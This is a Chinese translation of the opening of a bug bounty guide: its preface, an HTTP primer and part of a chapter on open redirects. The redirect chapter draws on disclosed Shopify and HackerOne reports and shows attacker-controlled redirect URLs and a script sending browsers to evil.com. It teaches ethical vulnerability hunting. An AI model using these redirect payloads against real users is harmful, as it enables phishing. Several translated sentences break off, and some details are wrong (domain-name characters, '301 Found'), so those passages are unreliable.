真实世界的-BUG-挖掘-全-
真实世界的 BUG 挖掘(全)
原文:
zh.annas-archive.org/md5/0620030e5141cae5e6fac78b9295066a译者:飞龙
前言

本书带你进入道德黑客的广阔世界,或者说,负责任地发现安全漏洞并将其报告给应用程序所有者的过程。当我开始学习黑客技术时,我不仅想知道黑客发现了什么漏洞,还想知道他们是如何发现这些漏洞的。
我曾搜索过相关信息,但总是留下同样的问题:
-
黑客在应用程序中发现了哪些漏洞?
-
黑客是如何了解在应用程序中发现的那些漏洞的?
-
黑客是如何开始渗透一个网站的?
-
黑客攻击是什么样子的?是全自动的吗,还是手动进行的?
-
我该如何开始黑客攻击并发现漏洞?
我最终选择了 HackerOne,这是一个旨在将道德黑客与寻找黑客来测试其应用程序的公司联系起来的漏洞奖励平台。HackerOne 包含了让黑客和公司披露已发现并修复的漏洞的功能。
在阅读那些已披露的 HackerOne 报告时,我常常难以理解人们发现了哪些漏洞以及这些漏洞如何被利用。我经常不得不反复阅读同一份报告两到三次才能理解。我意识到,我和其他初学者都可以从用简单语言解释真实世界漏洞中获益。
真实世界的漏洞猎杀是一本权威参考书,它将帮助你理解不同类型的 Web 漏洞。你将学习如何发现漏洞、如何报告漏洞、如何通过这样做赚取报酬,偶尔还会学习如何编写防御代码。但这本书不仅仅讲述成功的案例:它还包括错误和教训,其中许多是我自己的。
当你读完这篇文章时,你将迈出向网络世界变得更安全的第一步,而且你应该能够通过这样做赚到一些钱。
谁应该读这本书
这本书是为初学者黑客编写的。不管你是 Web 开发者、Web 设计师、全职妈妈、10 岁的孩子,还是 75 岁的退休人员,这本书都适合你。
也就是说,虽然编程经验不是黑客的前提条件,但一些编程经验和对 Web 技术的熟悉是有帮助的。例如,你不必是一个 Web 开发人员就能成为黑客,但了解网页的基本超文本标记语言(HTML)结构、层叠样式表(CSS)如何定义其外观以及 JavaScript 如何动态与网站交互将有助于你发现漏洞并识别你发现的漏洞所带来的影响。
在寻找涉及应用程序逻辑的漏洞并头脑风暴开发人员可能会犯的错误时,知道如何编程是很有帮助的。如果你能站在程序员的角度,猜测他们是如何实现某个功能的,或者阅读他们的代码(如果有的话),你成功的机会会更高。
如果你想学习编程,No Starch Press 出版了很多有用的书籍。你还可以查看 Udacity 和 Coursera 上的免费课程。附录 B 列出了更多资源。
如何阅读本书
每一章描述漏洞类型的结构如下:
-
漏洞类型的描述
-
漏洞类型的示例
-
提供结论的总结
每个漏洞示例包括以下内容:
-
我对发现和验证该漏洞难度的估计
-
漏洞发现位置的 URL
-
原始披露报告或写作的链接
-
漏洞报告的日期
-
报告者因提交信息而获得的报酬
-
漏洞的清晰描述
-
可以应用于你自己黑客攻击的要点
你不需要从头到尾阅读本书。如果有某个特定的章节你感兴趣,先读它。在某些情况下,我会引用之前章节中讨论的概念,但在引用时,我会尽量注明我定义了该术语的地方,方便你查阅相关章节。在你进行黑客攻防时,可以随时翻阅本书。
本书内容
以下是每章的概述:
第一章:漏洞奖励基础 解释了什么是漏洞和漏洞奖励,以及客户端与服务器之间的区别。它还讲解了互联网的工作原理,包括 HTTP 请求、响应和方法,并解释了 HTTP 为何是无状态的。
第二章:开放重定向 讲解了利用特定域名的信任,将用户重定向到其他网站的攻击方法。
第三章:HTTP 参数污染 讲解了攻击者如何操纵 HTTP 请求,注入额外的参数,这些参数是易受攻击的目标网站所信任的,并且会导致意外的行为。
第四章:跨站请求伪造 介绍了攻击者如何利用恶意网站让目标浏览器向另一个网站发送 HTTP 请求,另一个网站随后会将该请求当作合法的请求,仿佛是目标有意发送的。
第五章:HTML 注入与内容欺骗 解释了恶意用户如何将他们自己设计的 HTML 元素注入到目标站点的网页中。
第六章:回车换行注入 展示了攻击者如何将编码字符注入 HTTP 消息中,以改变服务器、代理和浏览器的解释方式。
第七章:跨站脚本攻击 解释了攻击者如何利用一个没有清理用户输入的站点,在站点上执行他们自己的 JavaScript 代码。
第八章:模板注入 解释了当站点没有清理它在模板中使用的用户输入时,攻击者如何利用模板引擎进行攻击。本章包括客户端和服务器端的示例。
第九章:SQL 注入 描述了当一个数据库支持的网站存在漏洞时,攻击者可能会意外查询或攻击网站的数据库。
第十章:服务器端请求伪造 解释了攻击者如何使服务器执行非预期的网络请求。
第十一章:XML 外部实体 说明了攻击者如何利用应用程序解析 XML 输入的方式,以及如何处理外部实体的包含。
第十二章:远程代码执行 讨论了攻击者如何利用服务器或应用程序执行他们自己的代码。
第十三章:内存漏洞 解释了攻击者如何利用应用程序的内存管理导致意外行为,包括可能执行攻击者自注入的命令。
第十四章:子域名接管 介绍了当攻击者能够代表合法域名控制子域名时,子域名接管是如何发生的。
第十五章:竞争条件 揭示了攻击者如何利用站点处理过程中的竞争条件,这些过程基于一个初始条件进行竞争,而该条件在执行过程中变得无效。
第十六章:不安全的直接对象引用 讨论了当攻击者能够访问或修改不应该有访问权限的对象引用时所发生的漏洞,例如文件、数据库记录或账户。
第十七章:OAuth 漏洞 讲解了简化并标准化 Web、移动和桌面应用程序中安全授权的协议实现中的漏洞。
第十八章:应用逻辑与配置漏洞 解释了攻击者如何利用代码逻辑或应用程序配置错误,使站点执行某些非预期的操作,从而导致漏洞。
第十九章:寻找你的漏洞赏金 根据我的经验和方法论,提供了关于在哪里以及如何寻找漏洞的技巧。本章不是关于黑客攻击网站的逐步指南。
第二十章:漏洞报告 讨论了如何编写可信且具有信息量的漏洞报告,以免程序拒绝你的漏洞。
附录 A:工具 介绍了设计用于黑客攻击的流行工具,包括代理 Web 流量、子域名枚举、截图等。
附录 B:资源 列出了进一步扩展你黑客知识的额外资源,包括在线培训、流行的漏洞赏金平台、推荐的博客等。
关于黑客攻击的免责声明
当你阅读关于公开漏洞披露的报道,并看到一些黑客赚取的大笔钱时,可能会觉得黑客是一条轻松快速致富的道路。其实不是。黑客工作可以带来回报,但你很少听到途中发生的失败故事(除了在这本书里,我会分享一些非常尴尬的经历)。因为你大多听到的是人们的黑客成功故事,你可能会对自己的黑客之路抱有不切实际的期望。
你可能会很快找到成功。但如果你在寻找漏洞时遇到困难,继续挖掘吧。开发者总是会编写新的代码,漏洞也总会进入生产环境。你尝试得越多,过程就应该变得越容易。
说到这个,随时可以通过 Twitter @yaworsk 给我发消息,告诉我进展如何。即使你没有成功,我也很想听听你的反馈。如果你在找漏洞时遇到困难,可能会感到孤独。但一起庆祝成功也是很棒的,或许你会发现一些我可以加入到下一版书中的内容。
祝你好运,玩得开心。
第一章:漏洞悬赏基础

如果你是黑客新手,了解互联网如何工作以及当你在浏览器地址栏中输入 URL 时背后发生的事情会有所帮助。尽管访问一个网站看起来很简单,但它涉及许多隐藏的过程,比如准备 HTTP 请求、识别发送请求的域名、将域名转换为 IP 地址、发送请求、呈现响应等等。
在本章中,你将学习基本概念和术语,如漏洞、漏洞悬赏、客户端、服务器、IP 地址和 HTTP。你将对执行意外操作、提供意外输入或访问私人信息如何导致漏洞有一个大致了解。然后,我们将了解当你在浏览器的地址栏中输入 URL 时会发生什么,包括 HTTP 请求和响应的样式以及各种 HTTP 动作动词。我们将以理解 HTTP 无状态的含义来结束本章。
漏洞和漏洞悬赏
漏洞是应用程序中的弱点,允许恶意人士执行一些未被授权的操作或访问他们本不应有权访问的信息。
在学习和测试应用程序时,请记住,漏洞可能来源于攻击者执行预期和非预期的操作。例如,更改记录标识符的 ID 来访问你本不应访问的信息,就是一种非预期的操作。
假设一个网站允许你创建一个包含姓名、电子邮件、生日和地址的个人资料。它会保持你的信息私密,并且只与你的朋友分享。但如果该网站允许任何人在没有你许可的情况下添加你为朋友,这就会成为一个漏洞。尽管该网站对非朋友保持你的信息私密,但通过允许任何人添加你为朋友,任何人都可以访问你的信息。在测试网站时,始终考虑别人如何滥用现有功能。
漏洞悬赏是网站或公司给予任何道德地发现漏洞并报告给该网站或公司的人的奖励。奖励通常是金钱,范围从几十美元到几万美元不等。其他形式的奖励还包括加密货币、航空里程、奖励积分、服务积分等。
当公司提供漏洞悬赏时,它会创建一个程序,这个术语我们将在本书中用来表示公司为希望测试其漏洞的人制定的规则和框架。需要注意的是,这不同于那些运行漏洞披露程序(VDP)的公司。漏洞悬赏提供一定的现金奖励,而 VDP 则不提供报酬(尽管公司可能会奖励一些纪念品)。VDP 只是道德黑客向公司报告漏洞的一种方式,目的是让公司修复这些漏洞。虽然本书中的并非所有报告都得到了奖励,但它们都是参与漏洞悬赏计划的黑客的示例。
客户端与服务器
你的浏览器依赖于互联网,互联网是一个计算机网络,这些计算机相互发送消息。我们将这些消息称为数据包。数据包包含你发送的数据以及关于这些数据的来源和去向的信息。互联网上的每台计算机都有一个地址,用于接收发送到它的包。然而,一些计算机只接受某些类型的数据包,其他计算机则只允许来自受限计算机列表的数据包。接收计算机的任务是决定如何处理这些数据包以及如何做出响应。本书的目的,我们将仅关注数据包中包含的数据(即 HTTP 消息),而非数据包本身。
我会将这些计算机称为客户端或服务器。发起请求的计算机通常被称为客户端,无论请求是由浏览器、命令行等发起的。服务器则指的是接收请求的网站和 Web 应用。如果该概念适用于客户端或服务器,我就指代一般的计算机。
由于互联网可能包含任意数量的计算机相互通信,我们需要一些规范来指导计算机如何在互联网上进行通信。这些规范以请求评论(RFC)文档的形式存在,定义了计算机应如何行为。例如,超文本传输协议(HTTP)定义了你的互联网浏览器如何使用互联网协议(IP)与远程服务器通信。在这种情况下,客户端和服务器都必须同意实现相同的标准,以便理解彼此发送和接收的数据包。
访问网站时会发生什么
由于本书将重点讨论 HTTP 消息,本节将为你提供当你在浏览器地址栏中输入 URL 时,发生过程的高层次概述。
步骤 1:提取域名
一旦你进入 www.google.com/,你的浏览器会根据网址确定域名。域名标识了你想访问的网站,并且必须遵守由 RFC 定义的特定规则。例如,域名只能包含字母数字字符和下划线。一个例外是国际化域名,它超出了本书的讨论范围。要了解更多信息,请参阅 RFC 3490,该文档定义了它们的使用。在此示例中,域名是 www.google.com。域名是找到服务器地址的一种方式。
步骤 2:解析 IP 地址
确定域名后,你的浏览器使用 IP 来查找与该域名关联的IP 地址。这个过程称为解析 IP 地址,互联网上的每个域名都必须解析到一个 IP 地址才能正常工作。
存在两种类型的 IP 地址:互联网协议版本 4(IPv4)和互联网协议版本 6(IPv6)。IPv4 地址由四个数字组成,数字之间用点连接,每个数字的范围是 0 到 255。IPv6 是最新版本的互联网协议,它的设计旨在解决 IPv4 地址即将耗尽的问题。IPv6 地址由八组四个十六进制数字组成,数字之间用冒号分隔,但也有方法可以缩短 IPv6 地址。例如,8.8.8.8 是一个 IPv4 地址,而 2001:4860:4860::8888 是一个缩短后的 IPv6 地址。
为了仅使用域名查找 IP 地址,你的计算机会向域名系统(DNS)服务器发送请求,这些服务器是互联网上的专门服务器,拥有所有域名及其匹配 IP 地址的注册信息。上述的 IPv4 和 IPv6 地址就是 Google 的 DNS 服务器。
在这个例子中,你连接的 DNS 服务器会将 www.google.com 与 IPv4 地址 216.58.201.228 匹配,并将该地址返回给你的计算机。要了解更多关于网站 IP 地址的信息,你可以在终端使用命令dig A site.com,并将 site.com 替换为你要查询的网站。
步骤 3:建立 TCP 连接
接下来,计算机会尝试通过端口 80 与该 IP 地址建立传输控制协议(TCP)连接,因为你使用的是 http:// 访问网站。TCP 的细节不重要,除了要注意它是另一种定义计算机如何相互通信的协议。TCP 提供双向通信,使得消息接收方能够验证他们收到的信息,确保在传输过程中没有数据丢失。
你发送请求的服务器可能正在运行多个服务(可以将服务看作是计算机程序),因此它使用端口来标识特定的进程,以接收请求。你可以把端口看作是服务器通向互联网的“门”。如果没有端口,服务就必须竞争发送到同一位置的信息。这意味着我们需要另一种标准来定义服务之间如何协作,并确保一个服务的数据不会被另一个服务窃取。例如,端口 80 是发送和接收未加密的 HTTP 请求的标准端口。另一个常用的端口是 443,用于加密的 HTTPS 请求。虽然端口 80 是 HTTP 的标准端口,端口 443 是 HTTPS 的标准端口,但 TCP 通信可以发生在任何端口,具体取决于管理员如何配置应用程序。
你可以通过打开终端并运行 nc <IP 地址> 80 来在端口 80 上建立与网站的 TCP 连接。这一行使用了 Netcat 工具 nc 命令来创建一个用于读写消息的网络连接。
步骤 4:发送 HTTP 请求
继续以 www.google.com/ 为例,如果第 3 步中的连接成功,浏览器应该准备并发送 HTTP 请求,如 示例 1-1 所示:
➊ GET / HTTP/1.1
➋ Host: www.google.com
➌ Connection: keep-alive
➍ Accept: application/html, */*
➎ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36
示例 1-1:发送 HTTP 请求
浏览器向 / 路径 ➊ 发送一个 GET 请求,这是网站的根路径。网站的内容按照路径组织,就像你计算机上的文件夹和文件一样。当你深入每个文件夹时,你通过记录每个文件夹的名称并跟随一个 / 来表示所走的路径。当你访问一个网站的首页时,你访问的是根路径,它只是一个 /。浏览器还会指明它正在使用 HTTP 1.1 协议。GET 请求只是用于检索信息,我们稍后会进一步了解它。
Host 头部 ➋ 包含作为请求一部分发送的额外信息。HTTP 1.1 需要它来识别给定 IP 地址的服务器应该将请求发送到哪里,因为一个 IP 地址可以承载多个域名。Connection 头部 ➌ 表示请求保持与服务器的连接,以避免不断开关连接所带来的开销。
你可以在 ➍ 看到预期的响应格式。在这种情况下,我们期望 application/html 格式,但会接受任何格式,如通配符(*/*)所示。虽然有数百种可能的内容类型,但在我们的应用中,你最常见的将是 application/html、application/json、application/octet-stream 和 text/plain。最后,User-Agent ➎ 表示负责发送请求的软件。
步骤 5:服务器响应
作为对我们请求的回应,服务器应该返回类似于示例 1-2 的内容:
➊ HTTP/1.1 200 OK
➋ Content-Type: text/html
<html>
<head>
<title>Google.com</title>
</head>
<body>
➌ --snip--
</body>
</html>
示例 1-2:服务器响应
在这里,我们收到了一个 HTTP 响应,状态码为 200 ➊,遵循 HTTP/1.1 协议。状态码很重要,因为它指示了服务器的响应情况。根据 RFC 的定义,这些代码通常是三位数字,开头为 2、3、4 或 5。虽然没有严格要求服务器使用特定的代码,但以 2 开头的xx代码通常表示请求成功。
由于没有严格要求服务器如何实现 HTTP 代码的使用,你可能会看到某些应用程序即使在 HTTP 消息体中解释存在应用程序错误,也会回应 200。HTTP 消息体是与请求或响应相关联的文本 ➌。在这种情况下,我们已移除内容,并用--snip--替代,因为 Google 的响应体太大。响应中的这段文本通常是网页的 HTML,但也可能是应用程序接口的 JSON,文件下载的文件内容等。
Content-Type 头部 ➋ 告诉浏览器消息体的媒体类型。媒体类型决定了浏览器如何渲染消息体的内容。但浏览器并不总是使用应用程序返回的值;相反,浏览器会执行MIME 嗅探,读取消息体内容的第一部分来确定媒体类型。应用程序可以通过包含X-Content-Type-Options: nosniff头部来禁用这种浏览器行为,但在前面的示例中没有包含该头部。
以 3 开头的其他响应代码表示重定向,指示浏览器需要发出额外的请求。例如,如果 Google 理论上需要将你从一个 URL 永久重定向到另一个,它可以使用 301 响应。相比之下,302 是临时重定向。
当收到 3xx响应时,浏览器应该向Location头部定义的 URL 发起新的 HTTP 请求,如下所示:
HTTP/1.1 301 Found
Location: https://www.google.com/
以 4 开头的响应通常表示用户错误,例如当请求没有提供适当的身份验证信息以授权访问内容时,尽管已提供有效的 HTTP 请求,仍会返回 403 响应。以 5 开头的响应表示某种服务器错误,例如 503,表示服务器无法处理发送的请求。
步骤 6:渲染响应
因为服务器返回了一个 200 响应,且内容类型为 text/html,我们的浏览器将开始渲染它所接收到的内容。响应体告诉浏览器应该向用户展示什么。
对于我们的示例,这将包括页面结构的 HTML;样式和布局的层叠样式表(CSS);以及用于添加额外动态功能和媒体(如图像或视频)的 JavaScript。服务器也可以返回其他内容,例如 XML,但我们将在此示例中保持基础内容。第十一章将更详细地讨论 XML。
由于网页可能引用外部文件,如 CSS、JavaScript 和媒体文件,浏览器可能会为网页所需的所有文件发起额外的 HTTP 请求。在浏览器请求这些附加文件的同时,它继续解析响应并将页面主体展示给你。在这种情况下,它将渲染 Google 的首页,(www.google.com)。
请注意,JavaScript 是一种由所有主流浏览器支持的脚本语言。JavaScript 使网页具有动态功能,包括在不重新加载页面的情况下更新网页内容、检查密码是否足够强(在一些网站上)等。像其他编程语言一样,JavaScript 拥有内置函数,可以将值存储在变量中,并响应网页上的事件运行代码。它还可以访问各种浏览器应用程序编程接口(API)。这些 API 使得 JavaScript 能够与其他系统交互,其中最重要的可能是文档对象模型(DOM)。
DOM 允许 JavaScript 访问和操作网页的 HTML 和 CSS。这一点非常重要,因为如果攻击者能够在某个网站上执行自己的 JavaScript 代码,他们将能够访问 DOM,并代表目标用户在该网站上执行操作。第七章将进一步探讨这个概念。
HTTP 请求
客户端和服务器之间关于如何处理 HTTP 消息的协议包括定义请求方法。请求方法 指示客户端请求的目的,以及客户端期望的成功结果。例如,在清单 1-1 中,我们发送了一个 GET 请求到 www.google.com/,这意味着我们只期望返回 www.google.com/ 的内容,而不执行其他操作。因为互联网被设计为远程计算机之间的接口,请求方法的开发和实施就是为了区分所调用的动作。
HTTP 标准定义了以下请求方法:GET、HEAD、POST、PUT、DELETE、TRACE、CONNECT 和 OPTIONS(PATCH 也有提议,但在 HTTP RFC 中没有广泛实现)。在写作本文时,浏览器仅通过 HTML 发送 GET 和 POST 请求。任何 PUT、PATCH 或 DELETE 请求都是 JavaScript 调用 HTTP 请求的结果。当我们考虑应用程序中期望这些方法类型的漏洞示例时,这将在本书后面有所体现。
下一节简要概述了本书中你将遇到的请求方法。
请求方法
GET方法检索请求中标识的任何信息 统一资源标识符(URI)。术语 URI 通常与统一资源定位符(URL)同义。技术上,URL是 URI 的一种类型,它定义了一个资源,并通过网络位置提供了一种定位该资源的方式。例如,http://www.google.com/www.google.com 标识了如何定位该资源。尽管存在细微差别,我们在本书中提到任何资源标识符时都将使用URL*。
尽管无法强制执行这一要求,GET请求不应更改数据;它们应该仅从服务器检索数据,并将其返回到 HTTP 消息体中。例如,在社交媒体网站上,GET请求应该返回你的个人资料名称,而不是更新你的个人资料。这种行为对于第四章中讨论的跨站请求伪造(CSRF)漏洞至关重要。访问任何 URL 或网站链接(除非由 JavaScript 调用)会导致浏览器向目标服务器发送GET请求。这种行为对于第二章中讨论的开放重定向漏洞至关重要。
HEAD方法与GET方法相同,不同之处在于服务器必须在响应中不返回消息体。
POST方法调用接收服务器上由服务器确定的某个功能。换句话说,通常会执行某种类型的后端操作,例如创建评论、注册用户、删除账户等。服务器对POST请求的响应操作可能会有所不同。有时,服务器可能根本不会采取任何行动。例如,POST请求可能会导致在处理请求时发生错误,从而导致记录未被保存到服务器。
PUT方法调用与远程网站或应用程序上已存在记录相关的某个功能。例如,它可能在更新已存在的账户、博客文章等时使用。同样,执行的操作可能会有所不同,可能导致服务器根本不执行任何操作。
DELETE方法请求远程服务器删除由 URI 标识的远程资源。
TRACE方法是另一种不常见的方法,它用于将请求消息反射回请求方。它允许请求方查看服务器接收到的内容,并利用这些信息进行测试和收集诊断信息。
CONNECT方法保留用于与代理配合使用,代理是将请求转发到其他服务器的服务器。此方法启动与请求资源的双向通信。例如,CONNECT方法可以通过代理访问使用 HTTPS 的网站。
OPTIONS 方法向服务器请求关于可用通信选项的信息。例如,通过调用 OPTIONS,你可以了解服务器是否接受 GET、POST、PUT、DELETE 和 OPTIONS 请求。此方法不会指示服务器是否接受 HEAD 或 TRACE 请求。浏览器会自动发送此类请求,针对特定的内容类型,例如 application/json。这种方法被称为 预检 OPTIONS 请求,在第四章中会更深入地讨论,因为它作为 CSRF 漏洞的保护机制。
HTTP 是无状态的
HTTP 请求是无状态的,这意味着每个发送到服务器的请求都会被当作一个全新的请求来处理。当服务器接收到请求时,它并不了解与浏览器之间之前的任何通信。这对大多数网站来说是个问题,因为网站希望记住你是谁。否则,你每次发送 HTTP 请求时都必须重新输入用户名和密码。这也意味着,处理 HTTP 请求所需的所有数据必须随着每个客户端发送给服务器的请求一同重新加载。
为了澄清这个困惑的概念,考虑以下示例:如果你我之间进行的是无状态的对话,那么在每句句子之前,我都得先说“我是 Peter Yaworski,我们刚刚在讨论黑客行为。”然后你得重新加载我们讨论的所有关于黑客的内容。想想 Adam Sandler 在 50 次初恋 中每天早晨为 Drew Barrymore 所做的事情(如果你还没看过这部电影,应该去看看)。
为了避免每次 HTTP 请求都重新发送用户名和密码,网站使用了 cookies 或基本认证,我们将在第四章中详细讨论。
注意
使用 base64 编码内容的具体方式超出了本书的范围,但你在进行黑客攻击时很可能会遇到 base64 编码的内容。如果遇到此类情况,你应该始终解码该内容。通过 Google 搜索“base64 decode”应该能找到很多工具和方法来完成这个过程。
总结
现在,你应该对互联网是如何工作的有了基本的了解。具体来说,你学到了当你在浏览器地址栏中输入一个网站时会发生什么:浏览器如何将其转化为域名,域名如何映射到 IP 地址,HTTP 请求如何被发送到服务器。
你还学到了浏览器是如何构建请求和渲染响应的,以及 HTTP 请求方法如何允许客户端与服务器进行通信。此外,你了解了漏洞是如何通过某人执行非预期的操作或获取原本无法访问的信息而产生的,并且漏洞赏金是对道德地发现并报告网站漏洞的奖励。
第二章:开放重定向**

我们将从 开放重定向 漏洞开始讨论,当目标访问一个网站时,该网站将他们的浏览器重定向到一个不同的 URL,可能是一个独立的域名。开放重定向利用给定域名的信任,将目标引导到恶意网站。钓鱼攻击也可以伴随重定向,欺骗用户以为他们正在向一个可信站点提交信息,而实际上他们的信息正在被发送到恶意站点。当与其他攻击结合时,开放重定向还可以使攻击者从恶意站点分发恶意软件,或窃取 OAuth 令牌(我们将在 第十七章 中进一步探讨)。
由于开放重定向只是将用户重定向,因此它们有时被认为是低影响的,不值得奖励。例如,Google 的漏洞奖励计划通常认为开放重定向的风险过低,不值得奖励。专注于应用程序安全并整理 Web 应用程序中最关键安全漏洞列表的开放 Web 应用程序安全项目(OWASP)也在其 2017 年的十大漏洞列表中移除了开放重定向。
尽管开放重定向是低影响的漏洞,但它们对于学习浏览器如何处理重定向非常有帮助。在本章中,你将学习如何利用开放重定向漏洞,并通过三个漏洞报告的实例来识别关键参数。
开放重定向是如何工作的
开放重定向发生在开发者不信任攻击者控制的输入以进行重定向到另一个站点时,通常通过 URL 参数、HTML <meta> 刷新标签或 DOM window.location 属性。
许多网站故意通过在原始 URL 中放置目标 URL 作为参数,将用户重定向到其他站点。该应用程序使用此参数告诉浏览器向目标 URL 发送 GET 请求。例如,假设 Google 具有将用户重定向到 Gmail 的功能,只需访问以下 URL:
https://www.google.com/?redirect_to=https://www.gmail.com
在这个场景中,当你访问这个 URL 时,Google 会收到一个 GET HTTP 请求,并使用 redirect_to 参数的值来确定将浏览器重定向到哪里。完成后,Google 服务器返回一个 HTTP 响应,其中包含一个状态码,指示浏览器重定向用户。通常,状态码是 302,但在某些情况下,它可能是 301、303、307 或 308。这些 HTTP 响应码告诉浏览器某个页面已被找到;然而,该代码还告知浏览器对 redirect_to 参数的值发出 GET 请求,* www.gmail.com/ *,该值在 HTTP 响应的 Location 头中指定。Location 头指定了重定向 GET 请求的位置。
现在,假设攻击者将原始 URL 改为以下内容:
https://www.google.com/?redirect_to=https://www.attacker.com
如果 Google 没有验证 redirect_to 参数是否指向它自己的合法站点,攻击者就可以用自己的 URL 替换该参数。结果,HTTP 响应可能会指示浏览器发起对 https://www.<attacker>.com/ 的 GET 请求。在攻击者将你引导到其恶意网站后,他们可以执行其他攻击。
在寻找这些漏洞时,留意包含某些名称的 URL 参数,如 url=, redirect=, next= 等,这些可能表示用户将被重定向到的 URL。同时请记住,重定向参数的名称不一定总是显而易见的;这些参数会根据网站的不同或同一网站内的不同部分而有所变化。在某些情况下,参数可能仅用单个字符表示,如 r= 或 u=。
除了基于参数的攻击外,HTML <meta> 标签和 JavaScript 也可以重定向浏览器。HTML <meta> 标签可以告诉浏览器刷新网页,并向标签的 content 属性中定义的 URL 发起 GET 请求。以下是一个可能的示例:
<meta http-equiv="refresh" content="0; url=https://www.google.com/">
content 属性定义了浏览器发起 HTTP 请求的两种方式。首先,content 属性定义了浏览器在发起 HTTP 请求到 URL 之前等待的时间;在此例中为 0 秒。其次,content 属性指定了浏览器发起 GET 请求时访问的网站 URL 参数;在此例中为 https://www.google.com。攻击者可以在他们能够控制 <meta> 标签的 content 属性或通过其他漏洞注入自己的标签时利用这种重定向行为。
攻击者还可以通过修改窗口的 location 属性来使用 JavaScript 重定向用户,方法是通过 文档对象模型 (DOM)。DOM 是用于 HTML 和 XML 文档的 API,它允许开发人员修改网页的结构、样式和内容。由于 location 属性指定了请求应重定向到的位置,浏览器会立即解析此 JavaScript 并重定向到指定的 URL。攻击者可以通过以下任一 JavaScript 修改窗口的 location 属性:
window.location = https://www.google.com/
window.location.href = https://www.google.com
window.location.replace(https://www.google.com)
通常,设置 window.location 值的机会仅在攻击者可以执行 JavaScript 时出现,无论是通过跨站脚本漏洞,还是在网站故意允许用户定义重定向 URL 的情况下,就像本章第 15 页 中详细介绍的 HackerOne 中继重定向漏洞一样。
当你搜索开放重定向漏洞时,通常会监控你的代理历史记录,寻找向你正在测试的网站发送的 GET 请求,这些请求包括指定 URL 重定向的参数。
Shopify 主题安装开放重定向
难度: 低
URL: https://apps.shopify.com/services/google/themes/preview/supply--blue?domain_name=
来源: www.hackerone.com/reports/101962/
报告日期: 2015 年 11 月 25 日
奖励金额: $500
第一个开放重定向示例是在 Shopify 上发现的,Shopify 是一个允许人们创建商店销售商品的电商平台。Shopify 允许管理员通过更改主题来定制商店的外观和感觉。作为该功能的一部分,Shopify 提供了一个功能,通过将商店所有者重定向到一个 URL 来预览主题。重定向 URL 的格式如下:
https://app.shopify.com/services/google/themes/preview/supply--blue?domain_name=attacker.com
URL 末尾的 domain_name 参数将用户重定向到其商店域名,并在 URL 后面加上了 /admin。Shopify 本来预计 domain_name 始终会是用户的商店,并且没有验证其值是否属于 Shopify 域名的一部分。因此,攻击者可以利用该参数将目标重定向到 http://
总结
不是所有的漏洞都很复杂。对于这个开放重定向,只需将 domain_name 参数更改为外部站点,即可将用户从 Shopify 重定向到其他网站。
Shopify 登录开放重定向
难度: 低
URL: mystore.myshopify.com/account/login/
来源: www.hackerone.com/reports/103772/
报告日期: 2015 年 12 月 6 日
奖励金额: $500
第二个开放重定向示例与第一个 Shopify 示例类似,唯一不同的是,这次 Shopify 的参数并没有将用户重定向到 URL 参数指定的域名,而是将参数的值附加到 Shopify 子域名的末尾。通常,这个功能会用来将用户重定向到商店中的特定页面。然而,攻击者仍然可以通过添加字符来更改 URL 的含义,从而将浏览器从 Shopify 的子域名重定向到攻击者的网站。
在这个漏洞中,用户登录 Shopify 后,Shopify 使用 checkout_url 参数来重定向用户。例如,假设目标访问了这个 URL:
http://mystore.myshopify.com/account/login?checkout_url=.attacker.com
用户会被重定向到 URL http://mystore.myshopify.com.
由于 URL 以 .
总结
如果你只能控制网站最终 URL 的一部分,添加特殊的 URL 字符可能会改变 URL 的含义,并将用户重定向到另一个域名。假设你只能控制checkout_url参数的值,并且你还注意到该参数与网站后端硬编码的 URL(例如商店 URL mystore.myshopify.com/)结合使用。尝试添加特殊的 URL 字符,如句点或@符号,测试是否可以控制重定向的位置。
HackerOne 过渡重定向
难度: 低
网址: 暂无
来源: www.hackerone.com/reports/111968/
报告日期: 2016 年 1 月 20 日
支付奖金: $500
一些网站通过实现过渡页面来防止开放式重定向漏洞,过渡页面在预期内容之前显示。每当你将用户重定向到一个 URL 时,你可以显示一个过渡页面,向用户解释他们将离开当前域名。因此,如果重定向页面显示假登录页面或试图伪装成可信域名,用户将知道他们正在被重定向。这就是 HackerOne 在跟随其网站外的大多数 URL 时所采取的方法;例如,在跟随提交报告中的链接时。
尽管你可以使用过渡页面来避免重定向漏洞,但网站之间的交互复杂性可能会导致链接被篡改。HackerOne 使用 Zendesk,一个客户服务支持票务系统,来处理其support.hackerone.com/子域名。以前,当你跟随hackerone.com并带有/zendesk_session时,浏览器会从 HackerOne 平台重定向到 HackerOne 的 Zendesk 平台,而没有过渡页面,因为包含hackerone.com域名的 URL 被认为是可信链接。(现在,除非你通过 URL/hc/en-us/requests/new提交支持请求,否则 HackerOne 会将support.hackerone.com重定向到docs.hackerone.com。)然而,任何人都可以创建自定义的 Zendesk 账户并将其传递给/redirect_to_account?state=参数。然后,那个自定义 Zendesk 账户可能会重定向到 Zendesk 或 HackerOne 没有拥有的其他网站。由于 Zendesk 允许在账户之间进行重定向而没有过渡页面,用户可能会在没有警告的情况下被带到不受信任的网站。作为解决方案,HackerOne 将包含zendesk_session的链接标识为外部链接,因此在点击时会显示过渡警告页面。
为了确认这个漏洞,黑客 Mahmoud Jamal 在 Zendesk 上创建了一个帐户,使用了子域名compayn.zendesk.com。然后,他通过 Zendesk 主题编辑器将以下 JavaScript 代码添加到头文件中,该编辑器允许管理员自定义他们的 Zendesk 站点外观和感觉:
<script>document.location.href = «http://evil.com»;</script>
使用这段 JavaScript,Jamal 指示浏览器访问evil.com。<script>标签表示 HTML 中的代码,而document指的是 Zendesk 返回的整个 HTML 文档,这是网页的内容。紧随document的点和名称是它的属性。属性保存信息和数值,这些信息要么描述对象,要么可以被操作以改变对象。因此,你可以使用location属性来控制浏览器显示的网页,并使用href子属性(它是location的一个属性)来重定向浏览器到定义的网站。访问以下链接会将目标重定向到 Jamal 的 Zendesk 子域名,这使得目标的浏览器执行 Jamal 的脚本,并将其重定向到evil.com:
https://hackerone.com/zendesk_session?locale_id=1&return_to=https://support.hackerone.com/
ping/redirect_to_account?state=compayn:/
因为链接包含了域名hackerone.com,所以过渡网页并没有显示出来,用户也不会知道他们访问的页面是不安全的。有趣的是,Jamal 最初向 Zendesk 报告了这个缺失的过渡页面重定向问题,但它被忽视了,并未标记为漏洞。自然,他继续深入挖掘,看看缺失的过渡页面如何被利用。最终,他找到了 JavaScript 重定向攻击,这使得 HackerOne 决定支付他赏金。
关键点
